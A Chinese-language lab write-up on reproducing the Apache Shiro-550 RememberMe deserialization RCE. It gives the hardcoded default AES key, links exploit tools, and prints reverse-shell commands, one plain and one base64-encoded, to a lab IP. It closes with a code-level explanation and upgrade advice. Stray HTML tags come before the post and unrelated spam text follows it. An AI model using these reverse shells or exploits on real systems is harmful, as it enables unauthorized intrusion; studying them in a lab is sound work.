1. <button id="b1csx"></button>

      1. <li id="b1csx"></li>

        <em id="b1csx"><strike id="b1csx"><kbd id="b1csx"></kbd></strike></em><th id="b1csx"><big id="b1csx"></big></th>
        <rp id="b1csx"></rp>
        <progress id="b1csx"><track id="b1csx"></track></progress>
        <dd id="b1csx"></dd>
        1. Apache shiro(550)漏洞復現與學習發布時間:2021/7/28 16:02:32 閱讀次數:

            

          一、漏洞描述

          1.shiro概述

          Apache Shiro是一個強大易用的Java安全框架,提供了認證、授權、加密和會話管理等功能。Shiro框架直觀、易用,同時也能提供健壯的安全性。

          2.漏洞原理

          Apache Shiro框架提供了記住密碼的功能(RememberMe),用戶登錄成功后會生成經過加密并編碼的cookie。在服務端對rememberMe的cookie值,先base64解碼然后AES解密再反序列化,就導致了反序列化RCE漏洞。

          3.漏洞發現

          1、檢索RememberMe cookie 的值

          2、Base 64解碼

          3、使用AES解密(加密密鑰硬編碼)

          4、進行反序列化操作(未作過濾處理)

          4.shiro序列化利用條件

          由于使用了aes加密,要想成功利用漏洞則需要獲取aes的加密密鑰,而在shiro的1.2.4之前版本中使用的是硬編碼。其默認密鑰的base64編碼后的值為kPH+bIxk5D2deZiIxcaaaA==,這里就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密并觸發反序列化漏洞。

          盡管目前已經更新了許多版本,官方并沒有反序列化漏洞本身解決,而是通過去掉硬編碼的密鑰,使其每次生成一個密鑰來解決該漏洞。但是,目前一些開源系統、教程范例代碼都使用來固定的編碼,這里我們可以通過搜索引擎、github等來收集密鑰,提高漏洞檢測與利用的成功率。

          二.漏洞復現

          1.環境搭建

          獲取docker鏡像

          docker pull medicean/vulapps:s_shiro_1

          1622636779_60b778ebc2e2daff4b37c.png!small?1622636779407

          重啟docker

          systemctl restart docker

          啟動docker鏡像:

          docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

          1622636799_60b778ff377d96c2fd82d.png!small?1622636798961

          訪問:

          1622636814_60b7790ea551d29aa5c9d.png!small?1622636814031

          驗證

          1622636827_60b7791b3f2ae970f5a14.png!small?1622636826639

          抓包分析

          1622636837_60b77925b1b3e41b434be.png!small?1622636837237

          2.漏洞利用(1)--腳本攻擊

          1.  下載shiro利用腳本,下載地址https://github.com/zhzyker/shiro-1.2.4-rce

          1622636847_60b7792ff1723d2a1412e.png!small?1622636847527

          2 . 使用工具進行驗證

          python3 shiro-1.2.4_rce.py  http://10.10.10.128:8081/login

          1622636858_60b7793a3ade131da80e5.png!small?1622636857766

          3.使用linux進入linuxshell模式。
          1622636869_60b7794507de6cde4a392.png!small?1622636868601

          4.  windos : bash -i >& /dev/tcp/10.10.10.128:8080/ 0>&1

          linux系統需要編碼之后,繞后再進行nc反彈。

          http://www.jackson-t.ca/runtime-exec-payloads.html

          1622637120_60b77a4083610e08c402c.png!small?1622637119925

          5.然后使用nc反彈

          1622637164_60b77a6ca24f7a5e598aa.png!small?1622637164011

          漏洞利用(2)--自動化工具攻擊

          1.選擇shiro550

          1622637277_60b77addf1db2ea226a75.png!small?1622637277323

          2.然后使用ceye.io進行利用

          1622637288_60b77ae89d3bc36544488.png!small?1622637288011

          3.驗證key值

          1622637297_60b77af11672990f55461.png!small?1622637296735

          1622637305_60b77af93fe3b65d73347.png!small?1622637304619

          4.檢測到漏洞,然后使用nc反彈shell

          1622637318_60b77b06d8610d962b2bb.png!small?1622637318363

          5.然后監聽到shell。

          1622637331_60b77b1312dd56d0cc194.png!small?1622637330441

          漏洞利用方式3:burp插件

          感謝作者(pmiaowu)提供的插件。

          下載地址:https://github.com/pmiaowu/BurpShiroPassiveScan

          1622637639_60b77c472c753bca56cc1.png!small?1622637638485

          三.vulhub環境復現

          1.啟動環境

          1622637726_60b77c9e543dfbe502568.png!small?1622637725887

          2.訪問主頁1622637748_60b77cb461fa054378ac3.png!small?1622637747696

          3.使用腳本進行漏洞檢測

          1622637767_60b77cc71e3099d687b77.png!small?1622637766828

          4.查看命令是否成功1622637786_60b77cda81d87570b6809.png!small?1622637786195

          4.使用命令:

          bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

          反彈shell

          1622637830_60b77d06a91ec9584819b.png!small?1622637830285

          5.執行命令

          1622637838_60b77d0eb60fc72a76c0b.png!small?1622637839574

          6.反彈成功,拿到權限。

          1622637866_60b77d2adf7b29b8d24b3.png!small?1622637866248

          四、漏洞原理分析

          原理分析:根據shiro報告分析可以得到,主要存在幾個重要的點:

          rememberMe cookie

          CookieRememberMeManager.java

          Base64

          AES

          加密密鑰硬編碼

          Java serialization

          1.首先正常登錄,然后生成帶有rememberme的返回cookie值。

          2.生成cookie,shiro會提供rememberme功能,可以通過cookie記錄登錄用戶,從而記錄登錄用戶的身份認證信息,即下次無需登錄即可訪問。處理rememberme的cookie的類為org.apache.shiro.web.mgt.CookieRememberMeManager

          3.之后進入serialize,對登錄認證信息進行序列化

          4.然后加密,調用aes算法。

          5.加密結束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中進行base64編碼,并通過response返回

          6.解析cookie

          7.先解密在反序列化

          8.AES是對稱加密,加解密密鑰都是相同的,并且shiro都是將密鑰硬編碼

          9.調用crypt方法利用密文,key,iv進行解密,解密完成后進入反序列化,看上面的public AbstractRememberMeManager()這里用的是默認反序列化類,然后觸發生成反序列化。

          五、修復建議:

          Apache Shiro 1.2.5以下版本,建議抓緊升級shiro的版本,另一個修復建議就是將默認Key加密改為生成隨機的Key加密。

          總結:

          web滲透不只有owasp10常見的一些漏洞,我們還需要學習一些框架的漏洞還有一些中間件的漏洞,自己的知識面廣了,自己的滲透路就會更加寬闊。本文為初學者對中間件漏洞的一些理解。會的大佬跳過哈。


          亚洲人aa在线观看,第一樱花亚洲AV专区,亚洲视频免费在线,小说区图片区亚洲中文字幕